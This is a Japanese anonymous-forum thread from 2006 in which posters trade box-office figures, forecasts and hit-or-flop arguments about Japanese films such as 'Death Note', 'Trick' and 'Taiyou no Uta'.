「タイヨウのうた」は思ったほどには伸びてないね。
あれだけ大規模な試写会をやって、それなりのできだと思うし、曲もヒット
しているわりにはたいしたことがない。
「トリック」もそうだけど、こちらの感性の問題かもね。
どちらも当たっているのに、当たっているとは思えなくなっているのかも
しれない。70億だの、見せられればね。

ワーナーのシネコン
今日公開のウルトラバイオレットもたったの２回上映。
やっぱＭＩ３先行と、デスノートのヒットで
他の映画がわりをくってる感じ。

>>264
チネ最大のスクリーンだけど、CINE1、2とかの沢山劇場が入ってるビルの
道挟んで向かいにある劇場。（CINE GRANDE）

>>266
シナノってよりも東映だからかも。バルトの前が明日のを１ヶ月やってたから。
ただ以前釣りバカ（松竹）もGRANDEでやってたから
客の見込めそうな年輩向け映画をやる傾向があるのかも。

>>268
「デスノート」を見てなお、米国のちんたら90年型アクションを見たいとは
思わないからね。
J-POPがここまで若者の心をつかんだのに、今の日本映画はすごく似ている
と思う。
もう、洋楽なんていいじゃん、英語わかんねえし・・みたいな。わかるわけ
ないって。メグ・ライアンとトム・ハンクスの恋愛話より、長澤まさみと
速水もこみちの恋愛映画を見たいのは、ごく自然な心理でしょ。

トリックは十分当たってると感じるけど？
自分が当たってると感じられないからって
みんなが同じこと考えてると思い込むなんて、ひとりよがりだなあ。

予約の状況からでは、MI3がそれほど入ってるのかどうか良くわからないな。

>>271
「トリック」は来週見に行くから、その後で興行的側面からの感想を
書くよ。今はよくわからない。
見ていないで言うのは反則だけども、「なんとか劇場版」「なんとか
THE MOVIE」がいまだにあることが不思議でならない。
これからも「東京フレンズ」「西遊記」がそうだね。「大奥」は正式題名
なのかな？　よもや「大奥THE MOVIE」？　フジだからな。

>>159
ボーダフォンが勝ち組？

釣りですか？

トリックはまぁ普通にヒットしてるな
タイヨウのウタは酷い、どうみてもこけてる

>>264
チネグランデは座席数844で最大だけど実質隔離用みたいなものだから。

チネチッタでは一番おしてる映画は普通CINE8(532席)でやる。

>>251
東映東京の撮影所がいつ成城に引っ越したんだｗ
最寄りの駅は大泉学園駅だったはずだがw

「県庁の星」をコケ扱いすると
トリックもデスノも松子もみんなコケって言わなきゃいけない気がする。
だからと言って「織田映画だから」と言われると、
やっぱり期待値がかなり高いことを認めなきゃいけなくなる。
でも、ここの住人は役者一人に客を集める力はないと言う人が多いから、
どう解釈するんだろう。

>>274 >>277
再度よく読んでから問題を解きなさい（句読点は字数に含みます）。

>>275
「タイヨウのうた」にはそれほど思い入れがないから、客観的に書く
けども、試写会などイベントがはでなので力を入れているように思うが、
映画そのものはインディーズ映画なんだけど、セットが１つあって
クレーンも使いましたという、低予算映画。
それに、（本当は書きたくないけど）まもなく山田＋沢尻で始まる
ドラマとのタイアップ映画であることはみえみえだから。
MOVIX（松竹系シネコン）で見たのだが、チラシ置き場にTVドラマの
宣伝チラシが置いてあったよ。

>>246
純愛三部作ってＴＢＳドラマの話じゃない？

>>278
織田対決に参戦する気は全くないが、「県庁」が「織田映画」であることは
明らか。
そんな風に言える映画はほとんどない。例えば「花よりもなほ」は「岡田映画」
ではない。チラシなどでは是枝の扱いのほうが大きい。雑誌などもそう。
「ラフ」（長澤映画）くらいしか思いつかないね。冗談ではなく。
あとはみな、何らかの「プラスα」があるでしょ。
「県庁」は柴咲コウがいたが、あれは男女の客を呼ぶためのありがちな配役で
まあ「ラフ」のもこみちですね。柴咲だってそういうポジションを無難にこな
すくらいはするでしょう。まだ若いんだし。
つまりね、こけたらその人のせいなんだよ。言い訳無用。もちろん、19歳の
長澤に企画への発言力があるわけじゃなし。そこまで言うのは酷だけども
織田くらいになれば責任はひとりで負うべき。
それ以上でも以下でもないです。はい。

織田裕二かわいそう・・・。
一人で作品の責任を負うなんて。
でも、２０億じゃコケとは言わないからいいのか、普通。

トライよりはましだからいいじゃん。

つまり「県庁の星」がヒットした手柄は全て織田にあると。
さすが日本を代表する映画スターだな。

>>262
オトシモノは松竹。

>>254
その見たい人が多い街ってどうやって予想すんだよｗ
条件はどの映画も一緒だろうが。

>>281
一応映画。ＴＢＳ制作の「黄泉がえり」「セカチュー」「今あい」の三部作の
ことをいいます。それに続くのは，今年ＴＢＳが作った「涙そうそう」。

織田はほぼ全ての映画をヒットさせ、県庁もまたまたヒットさせ
日本映画界に独自のスタンスで君臨してるんだからかわいそうでもなんでもない。
オンリーワンってことは強み。

>>284
「T.R.Y」って、大森一樹監督作品なんだよね。
だからなんだってわけじゃないんだけど（ｗ

>>287
「セカチュー」「いまあい」の連鎖ヒットすら後付けだし、ましてや
「黄泉がえり」なんて３週間限定上映の、全く期待されていない作品
だったのに、よく言うよって感じ。
でも、すごいラインナップだね。

>>278
興収はトリック＞デスノート＞＞＞＞＞県庁＞＞松子なんだけどｗ

ほぼ全ての人が県庁の星「ヒット」といってるのにキチガイだけが「こけた」とうるさい。
始まる前から騒いでいて、終ったあともこうやって、つけまわしてる。
20億を超え「ヒット」した現実がどうしても認められないんだよ。
他にも映画はいくらでもあるのに、どうしても県庁の星が忘れられないらしい。

シリーズのトリックがその程度稼いでも自慢にもならないんだけどｗ
しかも2週目失速してるし。

松子も県庁もヒットでしょ。
特に県庁なんか23億だっけ？金かけたローレライと一緒じゃんｗ
これはすごいことだよ。
松子は松子で前作より大幅に稼いでるから大健闘。

ここは興行収入を見守るスレ
ヒットかコケかを語るスレではないので、スレ違いの話題は他所でやってね

スレ違いの話題をわざと出すキチガイID:Bu8M8Kg3の相手もしないでね
キチガイには「スレ違い」の意味がわからないからね

>>278
ここはコケ認定するスレじゃない。「コケ」とか「ヒット」で揉める奴はアホ。
毎度、興行に関係のないう織田や長澤などのタレントよもやま話でスレ汚し。
たのきん話まで持ち出してアホかと。

トリックはだいぶ失速してそうだけど大丈夫かな。
ぎりぎり２０億くらいかな。
デスノは２０億は確実とコメントにあったけど、前後編で１００億狙ってるんだよね。
前編が２０億くらい稼げると後編は８０億くらいいけるかな？海猿みたいに。

>>292
まあ病気だからやつは。松子も県庁も立派なヒット。
間宮兄弟や明日の記憶なんかスルーされてるけど大健闘だよ。
まあこういう大健闘というのも、突き詰めればただの主観でしかないよ。
コケとかヒットについてそういう意見が「多数いるというのは」とかヘソで茶がわくｗ
あ、君もだけど。自分がそう「思い込みたい」ってだけでただの詭弁。

★おもしろい

織田ネタは地雷と書いたけど、本当にそうだね。
なんで？
興味がないから全然わからない。
たとえば、ラッコとあしかのどちらが可愛いといわれても困る。
それくらい興味がない。「必死」って使いたくない言葉だけども、こういう
ときに使うんだろうね。せいぜい内ゲバしてね。
高みの見物してるから。

やつは織田という役者、長澤という役者に固執してるんだよね。
例えば同じ例で渡辺謙という役者の話もあるんだけど、それについては一切ふれない。
ああでもない、こうでもないと難癖をつけて、この二人を侮辱する。

例えば織田は「県庁の星」でヒットを出したわけなんだけど、やつは、それが悔しい。
だから何度も何度も陰湿にレスをしてくる。現実が見えないわけだ。
長澤が例え「ラフ」でヒットしても色々言って過剰な持ち上げで侮辱するつもりでしょ。
全て主観でね。
単純な話で、事務所に大切にされてる役者、ピンで稼げる役者が気に入らないだけ。

少し前ならありえなかったヒットが最近連発してるよね。
「踊る２」「宮崎アニメ」「セカチュー」までなら、だれもが許容
範囲だったけども。
「電車」「NANA」「大和」まではぎりぎりセーフ。
しかし、「三丁目」「有頂天」「海猿」ときて、みんなのレベルが
めちゃくちゃになっている。
1990年代、J-POPのアルバムは、ミリオンなんかじゃ驚かなくて
ダブルミリオン、トリプルミリオンなんてあった。
あれってなんだったのかと思うけど、今の日本映画界もそうならない
ように祈るよ。

織田ネタ、長澤ネタが地雷なのはやつが固執してるから★

興味無いならスルーするか話題に出さなければいいけどどうしても書いてしまう。
「必死」だよね。
その証拠にログを見れば一目瞭然。
このスレで一番発言回数が多いのは誰か。
そしてその発言の中で最も登場回数の多い役者は誰か。織田と長澤でしょ（ｗ

デスノートは悲惨な出来
面白い題材を、これだけつまらなくした金子修介に乾杯
とにかくサスペンス度ゼロ
着信と観客層もかぶるだろうから
今週末激減は必至　20億いくかどうか

>>302　ほか
コアな映画ファンで、役者で映画を見る人ってあまりいないんじゃない？
私も好きな役者ってほとんどいない。
無理して考えても、市川雷蔵（思い切り古い！）、長澤まさみくらい。
J-POPならもちろん、その歌手が好きだからコンサートへ行くけど、映画は
そうじゃなく総合的なものだからね。
役者に関しての発言は、長澤さんは別格として、一応均等にしているつもり
なんだけどなあ。

>>303
漫画になんら思いいれのない私には、「デスノート」はよくできた
娯楽映画だと思ったね。さすがは「クロスファイア」「1999年の夏
休み」「平成ガメラ」の金子修介。
職人にわざを見た思い。
20億は誤算だと思うけど、現在の日本映画界では、相当良い条件でも
東宝以外で20億を超えるのは難しいと思うよ。「大和」が例外かな。
あとは「北の零年」とか。二つの映画は、条件、揃いすぎ。
「三丁目」みたいな映画を松竹がやったら、５億いかないでしょ。

どうみても県庁よりヒットしている映画を県庁より下のように捏造してるのは
織田ヲタのほうなんですが。

県庁がヒットしてることと、トリックがヒットしてることは別問題なんですが。
この前から何が何でも県庁をターゲットにする仲間ヲタのほうがうざいんですが。

実際タイヨウっていくらかけたの？
あれで10億行ったらかなりのヒットだと思う。
邦楽全体が調子いいからコケ扱いする人もいるだろうけど。

>>306-307
織田、仲間アンチの揉めさせや自演乙。
どっちも好きだから応援してるよ。

>>303
「デスノート」については直前で意見を変えたよね。
以前はワーナーの言うとおり、２作で100億といっていたけども、それは無理と。
なぜかというと、最近の日本映画でヒットした映画を考えてみな。みな基本的に
明るい映画ばかりでしょ。
泣ける映画もあるじゃない、という反論があるかもしれないけど、「セカチュー」
は希望で終わるし、「いまあい」などハッピーエンド。「大和」だって
過去の悲劇の話であり、現在としては決着がついてうれしいという話だった。
そこにダークな話が受けるかなあと思ったわけ。
結果的にはコアなファン＋最近になって増えてきた日本映画ファン＝20億
だったんだろうね。よくできた娯楽映画で続きを見たくなる作りになってる
から、後編は30億期待かな。

映画ファンで役者で映画を観る人がいない？？？
でも責任は主役一人で負わなきゃいけないんだ？織田裕二の場合は。
やっぱりかわいそうじゃないですか、そんな扱い。

>>308
映画を見た感じだと、２億はかかってないかもね。
撮影現場は湘南限定、キャストはほぼ５名、メイキングなどをみても
スタッフの数は少ない。
音楽映画でも「NANA」のようなライブや会場借り切りのシーンがない。
スタジオのシーンは、YUI所属のソニーミュージックを使ってるから
ただでしょう（ｗ

>>308
ＹＵＩ売り出し企画としてはかなり金かかってるがw、
映画としては低予算。
でも宣伝何気にやってるんだよな。ヤフーの訳わからん企画も含め。

>>311
現時点の日本映画・・という限定なら、役者一人で責任を負うなど
ほとんどありえない話。
まず、企画ありきだから。
TVドラマならあるよ。月９という枠で、カツンを使う、どんな話に
しようかなあ。とかね。
だから、織田・長澤のように、まず役者がいて、それにあわせて企画を
考えるなんて、ぜいたくというのか、これからはそんな人がどんどん
出てくるのか。
ちなみに、日本映画黄金時代、1950〜60年代はすべて役者がすべての
出発点。企画なんてその後。

>>313
そうそう、初めて製作委員会の名前に、Yahoo!を見つけた。
今までもあったのかもしれないけど、一番下に書かれてあったのは
序列が一番下じゃなく、逆にトリということでしょう。
確かに番宣に力を入れているものね。

去年、東宝で電車男が制作費１億以下で最終３７億。
今年、松竹でタイヨウは制作費約１〜２億で最終予想で７〜９億？
宣伝量はタイヨウ＞電車。
キャスト知名度は電車＞タイヨウ。
原作知名度は電車＞タイヨウ。
だとすれば松竹にしてはよく頑張りました、だと思う。
チェケラッチョくらい行くといいけど。

>>316
「電車男」は、今になると語りにくい映画だよね。
成績からしたら、歴史に残る作品なんだけども、TVドラマのほうが有名になった
という点で、なんとも。
それに、山田はその後も活躍するも、「白夜行」は失敗、隠し子発覚。
中谷美紀からすれば、彼女の演技力があってあの役とは。よくある「特別
出演」という表現がふさわしい。
あまり指摘する人がいないけど、「タイヨウのうた」は事実上のオリジナル
脚本、初監督というハンディも忘れずに。それも加味したら、大変な実績
だと思う。

えーっと、、キャストのその後がどうとか語るスレではないんですが、
これは噂の工作員というものということでいいんでしょうか。

ソニーマガジンズが本出してるならいろいろな意味で確かに「オリジナル」か…ｗ

工作員認定して構わないよ。東宝工作員ね。
山田がどうだとか、中谷がどうだとか主観はどうだっていいよ。
何の役にも立たないから。
主観で語るなら山田の白夜行は評価が高く、演技力で魅了し大成功とも言える。
興行スレで興行以外のことを語りたいのなら他所へ行きなさい。
それからタイヨウの歌のオリジナル脚本、初監督というものは何のハンディにもなり得ない。

>>318
映画っていうのは、旬で見たときと、後日見たときでは、まるで別物に見える
ことがある。
たとえば、渋谷シネマメディアージュでまもなく「山口百恵映画祭」が開かれる。
その中に、高３トりオが解散するときの武道館の映像という、なんともはやな
映画がある。もちろん見たことはない。
が、主演は３名。
森昌子…いうまでもなく森進一と別れて、歌手活動を始める人。
桜田淳子…統一教会（勝共連合）の広告塔。集団結婚式をした人。
山口百恵…20歳、人気の頂点で引退した幻のスター。が、最近フライデー
　された写真では、でぶでぶおばはん。

という現在形で見たら、この映画は別の価値をもつように思う。無常観だね。

>>320
どういうこと？
「タイヨウのうた」の企画は、ずいぶん前の香港映画のリメイクから
スタートしたんだけども、あれこれの事情で結果的に全くオリジナルの
脚本になった。原作はない。
そんなものがメジャーの企画会議で通るということは、どれだけ大変
かわかってる？　通ることがだよ。
初監督にしてもそう。彼の略歴を見たが、一体なんで監督ができるのか
全然わからなかった。それでもできた。それが普通に思える？

東宝はちょっと頭のキレる工作員を松竹に分けてやった方が…。

バルトはタイヨウに抜かれ着信は低空飛行と予想。

>>323
ホラーはそもそも製作費が安いし、何度も書いているが、海外で評価されて
いる点が大きい。
最近読んだ本によると、アニメ、ゲームという日本の輸出二大コンテンツが
だいぶ翳っているらしい。そこにホラー。
タイミングとしてはすばらしい。
黒澤明は晩年、日本では全く相手にされず、海外だけで評価されたけど
それはそれでいいんじゃないの。そういうことって、ほかの分野でも多い
でしょう。

>>324
落ち着いて>>1でも読もうぜ

>>324
落ち着いてないか・・
今やってること。
中２の口語文法の問題作成、横山秀夫「クライマーズ・ハイ」を読む、
ZARDのアルバム「ZARD　BLEND�U」を聴く、友人に携帯メールする。
落ち着いてるわけないか。

>>317
タイヨウはどの記事見ても２０億予想出てるじゃん
始めは期待してなかったが、初動から２０億はいけると目論んでるっぽい
からそれ近くまでいかなきゃガッカリなんじゃないのか？

>>327
音楽映画とくくるのは乱暴だけど、「NANA」と比較すると全然違うね。
リピーターを呼べないとなかなかその数字はいかないけど、「タイヨウの
うた」にその力はない。
いい映画だなあって感じ。でもそれでは爆発的なヒットにはならないよ。

芸能誌の見込み予想は素人向けの宣伝だから。

>>316
宣伝量は、タイヨウ＝電車だとオモウ

デスノなんて予想は前後編で100億ですぜ

海猿１も当時20億見込めるだったなぁ…
ドラマの視聴率も微妙でほんとに２できんのか心配だった

>>331
「デスノート」の100億は、ワーナーの発表だよ。
つまり、予想じゃなくて目標数値。
会社発表で言うのは悪いことではないけど、外資系らしい異端さは感じるよね。
とくに外れたみたいだし。

今日公開の着信アリの報告が一つもない(´･ω･｀)

>>332
全くの受け売りでごめんなさいだけど・・
「LIMIT OF LOVE　海猿」は、フジテレビがとんでもなく周到に準備
した結果らしいよ。ちまたでは（このスレでも）まぐれ当たりみたい
に思っているみたいだけど、予想通りみたいだよ。
もっとも、さすがにここまで当たるとは予想しなかったかもしれないけど。
フジテレビの自信というか、作戦の周到さはすごいレベルにきてる。
だから、これからの「UDON」「大奥」「ゲゲゲ」なんかも、そりゃ
いつかは100億と思っていると思うよ。

どさくさに紛れて松子をヒットとしている人がいるけど、東宝で
ヒットといえるのは、今年はギリギリ県庁まで。松子はどみても
監督の知名度、長きに渡っての宣伝（めざましはフジの県庁より
早い時期から取り上げていた）、多彩なゲスト人（柴咲も含む）
制作費は不明だけど、多分県庁やチェケよりはるかに多そうなのに
１０億ちょいでヒットはあつかましい。まだチェケの方がヒット感
があるよ。

だからここはヒットやコケを判断するスレではないと何度言えば…

どさくさに紛れて
コピペ荒らしキチガイなずなを相手にするのはやめてね

チェケは2週目でランク上げたからな。

なんだかどうしても松子をコケにしたい人がいるね。
しつこすぎ。
六本木メインで、普通にプチヒットだと思うよ。
確かに電車男のようにはいかなかったけどさ。
日劇チェーンとかじゃないんだし。

本日映画館に出かけた方の
混み具合についてのご報告などお待ちしています

>>336
突っ込み所満載だなあ（ｗ　「松子」は失敗作だけど、間違いは訂正します。

１．監督の知名度…それがそもそもの誤算でしょう。中島哲也って何をする人か
　　言える人が世間にどれだけいるんだろう。「下妻物語」が有名だってだけ。
２．長きに渡っての宣伝…これは私も勘違いしていたから反省しているが、
　　よく考えると、HPの立ち上げが早い、特報を早々に流していたとかで
　　「日本沈没」などの超大作には比較すべくもない。
３．多彩なゲスト…ここまで一人の役者に責任をもたせた映画も珍しい。
　　これは女性の一代記だからなんだけども、脇の役者が軽すぎたのは
　　いえる。準主役扱いのボニー・ピンクなんて映画ファンは知ってる？
４．製作費…５億ってことはないでしょう。知らないけど。

>>339
そう。
ネットでも書いていたけど、そもそもこの映画などは渋谷メインの
拡大公開という、「ピンポン」スタイル映画なんだよ。
それを、まるで東宝の番線扱いで考えるから、10億でも大ごけとか
くだらない煽りが入る。どこの世界にシネマライズ発信の映画に
10億以上を期待するの？　そういう映画がかつてあったというだけで
しょうが。

「嫌われ松子の一生」今年最大の話題作
予想興行収入５０億なんたらとか言ってる方いたなぁ(遠い目)
そんなこと言わなければこんなコケコケ言われずにすんだかもしれないのに
ご愁傷さまです

>>343
たしかにその最初の予想がなければこの数字もコケじゃないと思う。
まぁ内容がアレだったのと出演者が撮影が嫌だったとか言ってる段階で
客が離れるのは仕方ない。
東宝はこれでも儲かるわけだし
ボニーピンクもCD売れてみんなハッピーなんじゃないの？
商売だもの結局みんな儲かればいいのよ。

>>336
＞制作費は不明だけど

脳内ソースのみでウザイよ。
粘着してるくらいならとっととソース探して来い。

●「嫌われ松子の一生」から汲み取るべき教訓とは？

１．映画は監督のものじゃない。役者あってのもの。
　　正確に言うなら、作家主義で映画が作りたいなら、全国公開する娯楽映画
　　など作るなってこと。
２．中島哲也は一発屋。「下妻物語」という00年代を代表する名画を作り
　　映画史の闇に消えていったCMディレクター。
３．中谷美紀は複雑な思いではあると思うが、この映画で女優賞をかなり取る
　　ことになる（はず）。が「涙そうそう」という強敵があるので。
４．CMディレクターって、とことんだめだね。

嵌まれば強いが外すと映画を知らない分トコトン外す。

「デスノート」テレビで一部放送
http://www.nikkansports.com/entertainment/f-et-tp0-20060624-50921.html
映画は観客動員７０万人突破。

これは金曜まででなく、今日の見込み分入り？

>>348
「デスノート」はまず最初にWBのロゴが出て、わかっていたとはいえ驚き、
最初に英語でずらっとタイトルロールが流れて・・まあ、洋画ノリだよね。
この映画は、最近の日本映画に多い、じわじわ観客を呼べるタイプじゃなく
初動でがっと行く映画だと思うね。
１度見ただけだと情報が多すぎで、２回見たい映画ってあるけど、そういう
映画じゃない。また、どんでん返しがあって、再度確認したいとかそういう
映画でもない。
リピーターは原作ファンなど一部に限られるだろうね。おもしろい映画だけど
そういう点は弱いと思う。
それから決定的なのは「泣けない」。これは大きいよ。

>>348
なんか必死だね。

一時、まともになったなあと思って感心していたYahoo!のレビューが
また荒れ始めてるね。
「着信アリFinal」がもしも本当にあの感想通りの映画なら、悲惨な
結果になるかもね。「輪廻」の二の舞じゃすまないかも。
堀北真希という旬の女優をもってきたものの、彼女はこれまでもホラー
を中心に主演をしていて、特に新鮮さはないし、「三丁目」の六ちゃん
で感動したシニア層がくるわけでもないだろうから。
本当にあんなにひどいのかな。あそこまで言われると、１・２と劇場で
見た者の責任として最後を見届けたくなるな。

>>348
「デスノート」冒頭12分間をテレビで流すと書いてあるね。
実は、「笑う大天使（ミカエル）」のHPでも、冒頭10分間が見られる。
これって、どんな意味があるのかな。
映画って、最初の10分も見ればできはわかってしまう。怖いよ。
「笑う」は「下妻物語」を完全に意識した作りになっているのはいいと
して、いかにもちゃちな作りの映画で、あれを見て本編を見たくなる
とは思えないけどな。

デスノが今週70万人ペースなら週明けで12億くらいかな？

興行収入で10億なんて映画はハリウッドをのぞけば世界中でそう何本も出ない。
人口が多く、格段に入場料が高い日本だから結構出るようになったけど。
興行収入で10億を越えれば1次収入は、例えば昨年のドラマ最高ヒットの「ごくせん」
あたりよりも大きくなる。一時間のドラマのＣＭの広告量は最大で数千万だからね。
11話のドラマで計算すると絶対に10億はいかない。
もちろん出演者の人気とか主題歌のヒットとかドラマの方が副次的な効果が大きいから
日本ではドラマ出演の方が大きく扱われちゃうんだけどね。

ということはトリックよりは粘りがあるな。
平日の入りも思ったほど低くもないのか。

>>353
もう一つ気になったのは、かつて「海猿」の１作目を見たとき、最後の最後に
次回作の予告編が流れるでしょ。
２回劇場で見たけども、本当にみんな喜んでいるのが感じられた。現実に
あれが作られると思わなかったわけだけども、サービスでもうれしかった。
ところが、「デスノート」のラストで流れる次回予告はどうだ。
少なくとも私が見た劇場は、明らかにしらーとした雰囲気だった。
作りが下手だよ。すでに撮影している部分をつないで、予告編を作るくらい
簡単なことでしょう。あれは次回につなぐには決定的な弱点になってると思う。

シネコン先週よりすいてたな。
先週はデスノート目当ての子供や若い子が多かった。

しかし先々行で３スクリーンも使うＭＩ３･･･
素直に６月２４日公開でいいじゃないかとオモタ

松子を６０億だの８０億だの予想した人が何を言ったってｗ

>>356
私が見たシネコンでは、テロップ流れて終わりだと思ってたら
最後に死神の声で予告が始まったので、みんな「おおおおっ」って感じで盛り上がってたよ。

>>357
「デスノート」の続編は11月公開に延期されたようだけど、どうだろうね。
かつて「マトレボ」という、同じワーナーの失敗例があるだけに。
そこまで引っ張れるか。
よくできた娯楽映画といってけなすのもおかしいけど、続編を見たいと思う
ほど「ナゾ」が残ってないんだよ。結果的にどんでん返しとかあるかも
しれないけども、少なくとも「あの結末だけは知りたい」と思わせるナゾが
少なすぎるホンだと思った。
20＋30億くらいを想定してるんだろうけど、うまくいくかな。11月。
確かに敵はいなそうだけど。

デスノート後編の撮影は前編公開初日時点でだいたい10日目
雨で中断された日も何日か
つないで予告編作るだけの材料がない

>>359
いずれにしても、そういうのは劇場で見ることの喜びであることは
確かだね。
「海猿」の作るはずのない映画の予告編は、結果的に大成功だった
けども、今回はほんとにあるわけだからさ、もう少し工夫の余地が
あったと思うけどね。
タイトルは秀逸だと思う。もう書いてもいいと思うけど「デスノート
the Last name」というんだけど、当然、デスノートの最後に書かれ
死ぬのは誰かっていうことでしょ。トリプルミーニングみたいなことも
言っていたけど、主にはそれ。タイトルはうまい。それは褒めます。

難しいことは抜きにしてさ、このスレ的には
邦画で10億いけば、とりあえずおめでとさん、
ってことでいいんじゃまいか。

10億いくって、なんだかんだ結構大変だと思うよ。

１０億いけばおめでとさんでいいと思うけど
単館系で１０億行ってないからコケと言われるとうざい。
というか的外れ。
そこんとこは流動的にやってくれ。

だからこのスレは興行収入を見守るスレであって、
コケかどうかを論じるスレじゃないと何度言えば

「興行収入を評価するスレ」

でも立てて、そっちで好きなだけ語り合ってくれ
ここでは　ス　レ　違　い

だからコケコケ言い出すんじゃねえよ、と言ってるわけだが。
ちゃんと読め。

間宮兄弟ってヒットしてるらしいけど、どんな感じですか？
それと着信ありがぜんぜん話題になってないのですが、初日の劇場の入り具合はどうだったんでしょう。

>>247
Ｍi３は本家で酷評、前作より動員減少、
ポセイドン然り、本家で不評な洋画は日本興行でも見込めない傾向にある。
ケチがついたトム・クルーズは初回動員こそ9億、その後すぐ熱帯低気圧に変わり、列島を逸れる。
台風の目はゲド、駿の息子だがジブリ大砲は100億必至。
ハリウッドは「パイオレーツ・カリビア」に軍配。
日本沈没は平日動員が見込めたので、当初の予定通り8月後発公開でもよかったが、
UDONを製作したフジが前倒したのか、一番小さい箱で大作をどう切り抜けるのか、
ランキングより動員、３連休の初動が興味深い。
8月26日公開UDONはお盆ボーナスステージを逸したので、それほど興収は見込めないと予想。

現在公開デスノートは宣伝が上手い。初動4.9億ならトリック２並だが、
前編、後編、この手法は作戦勝ち。追随して続編にする映画が増加するかもしれない。

着信ありはTBSだった？
さっきブロードキャストで堀北取り上げて宣伝してた。トム様の新幹線ジャック代は一千五百万だそうな、宣伝代としては安い？と思った。

トムはいい人作戦、日本でやって意味あるのか？

着信アリは日テレみたいだよ。そのわりには宣伝見ないな。

>>369
TBS 東宝　電通
セカチュー、日本沈没とおなじ

角川映画だろ着信は。日テレは付き合いで出資してる程度であんまり関係ないだろ。
トリックはテレ朝の映画枠で２週連続の宣伝だけど、
着信は前作流してないな。２の時も、１を流したのは映画２よりずっと後だったし。

>>369
角川ヘラルド，日テレ，東宝

>>369
全然違った。記憶違いも甚だしい。ゴメン

しかもですよ、セカチュー　TBS　博報堂　東宝
>>371
着信はおとといだっけ、300人集めた試写会の様子を日テレで流した。

着信の試写会は会場の様子よりネタバレぐらいの長い映像で作品紹介。
ズームインだったと思う。

>>368
デスノは4.9億じゃなくて先行込みで4.09億じゃないの？

>>377
先行見込みで4.1億が初動4.9億ではなかった？
また記憶違いなら流してくだされ。

実際に映画館に行って「着信あり」見た人いないの？

デスノ初動は4億と800万円ちょい越え
4.1億

Ｍi３も先行上映が6月24日、25日、7月1日、2日
（なら6月24日から公開すればいいのにね）
先行込み動員7日で25億〜30億予想に変更

ケイティ・ホームズ熱愛発覚、奇行、信仰団体信者トムのマタニティブルーブルック・シールズを批判
セラピー全否定・・・こんなのは日本人には通用しないのなら先行込み35億

>>379
着信アリは韓国が舞台で、韓国人が出演、韓国語と日本語が飛び交ってた＞ズームイン

なんで７日間？

>>379
新木場のシネコンで夕方観ました。
100席も無いような劇場で半分くらい埋まってました。
客層は学生層＋掘北ファン成人という印象。
内容はいわゆる飽きられたホラー映画ではないが微妙？って感じです。

ちなみに自分は業界志望なのですが教えて頂けると嬉しいです。
よく発表される興行収入で観客動員数割って単価を出すと、
２０００円とか３０００円とかになってしまうのですが、
どういう計算なのでしょうか？？
素人ですみません。どなたかお願いします。

>>383
前売りとか指定席も入れればそうなるんじゃないの？

>>382
６日間（退場）ｗ

TBSの堀北宣伝は写真集？握手会の様子〜黒木メイサとツーショットでワイドショーランキングのコール
ドラマヒロインのお礼かな
日テレも六ちゃん宣伝しなよ

>>384
レスありがとうございます。
つまり観客動員数に前売りや指定席は含まれていないということでしょうか？

>>379
追記です。
友人が池袋のシネコンで昼に観たら満席に近かったようです。

>>387
そうか？
大体1250〜1400円あたりに収まるぞ＞単価

>>387
違いますｗ

デスノは平日に思ったより入ってるね
先週の土日に30万動員なら40万は動員した事に
しかも先週のは先行や前売り込みの数字だし

>>388
レスありがとうございます。
いま有頂天とNANAの計算をしてみたら確かにそのレンジで収まってました！
どうも以前計算した時に参考にした観客動員数が微妙だったようです。

そしてついでにと言ったらなんですがもしよければ教えてください。
このスレを読むと１０億が一応ヒットの境界のようですが、
例えば10億÷1250円単価＝80万人動員ということで、
観客動員数でいえば80万人がヒットの目安ということでいいでしょうか？
この計算でいくと仮に３週間の映画とすると、
80万人÷21日＝一日平均約4万人となりますが、
この10億というヒットを目指す場合初日の動員数だとどれくらいが目安なのでしょうか？
映画によって様々だとは思うのですが。
質問が低レベルですみません。

>>389
基本的なことが分かってなくてすみません････！ｗ

細かい数字はさておき10億やら100万人動員やらが景気のいい煽り文句だ

http://www.eiren.org/toukei/index.html
ここと
http://www.geocities.jp/kosyu2ch/bo/2005.html
ここを見て自分で考える

1.75〜2.15億くらいか

>>393
煽り数字あるんですねやっぱり････。
>>394
見てみます。ありがとうございます！

>>393
10億とか100万人動員とか
響きがわかりやすて良いよねーw

>>395
目標や期待値は煽りもかなり有るが
興行が始まってからの実数はどこもあまり嘘は書かない
正直だからと言う話しもある。が
大きな数を煽りでぶち上げすぎると
「税務署から目を付けられて手入れを受け易い」からでは？
と、言う話も有る。

>>363
＞10億いくって、なんだかんだ結構大変だと思うよ。

そんなの当たり前だよ。
繰り返しこのことで言っているのは、条件を無視して皆にそれを課すなんて
ナンセンスということ。200本以上の映画がインディーズという現状さえ
知らないんでしょう。

>>396
＞興行が始まってからの実数はどこもあまり嘘は書かない

それは一言、間違い。
まず、一般の人が目にする数字は初日の舞台挨拶や、その後で言われる数字。
このスレ住人なら知っているように、下方修正は普通、東宝では上方修正も
ある。
正確なのは自信がある場合と、たまたまとがあるはず。
まず、自信がある場合は、見込みが立ちやすい続編とか、ファンが決まっている
ような映画。「三丁目」みたいな映画で初期に何と言っていたか知らないが、
関係者すら驚いたはず。
それに初週だけですべてわかれというのは酷な話ではある。

>>396
＞大きな数を煽りでぶち上げすぎると 「税務署から目を付けられて手入
　れを受け易い」からでは？と、言う話も有る。

そもそも会社のことを知らないのでは？
メジャーのことを言っているなら、そもそも上場企業なのだから、
金の動きは透明性が高くごまかしようがない。
それに税務調査とは、違法行為をしているからするのではなく、どの
会社も均等に入ることは会社員なら知っているでしょう。悪いことを
していない限り、いきなり踏み込んだりはしないが、税務調査はある。

>>393
＞細かい数字はさておき10億やら100万人動員やらが景気のいい煽り文句だ

「NANA」300万人突破！　とかね。
一部の特権階級の話ですね。うらやましい話です。
未見だけど「かもめ食堂」のような歴史的ヒットは、ここから外れる。
だから、本当に日本映画の復興を期待するなら、東宝の年間20本位ある
10億超え作品だけを褒めるのではなく、小さい興行でも成績を残して
いる作品も褒めてあげたいね。

ID:nKbkjaCM

反マッチ派は２度と来ないで！！！！！！！！！！！！！！！！！！！！！！

>>395
＞煽り数字あるんですねやっぱり････。

映画業界って、1950年代にピークのあった古い産業なんだよ。だから
体質がすごく古い。いまだに映画のことをシャシンなんていう監督
がいて、げんなりする。
新聞の夕刊に新作の広告が出るけど、馬鹿の一つ覚えみたいに
「大ヒット上映中！」。それしか言葉を知らないのかよ、と言いたい。
それも、客観的に見てどう考えてもこけてる映画までそれなんだから。
それを許す馴れ合いがこの業界にはある。
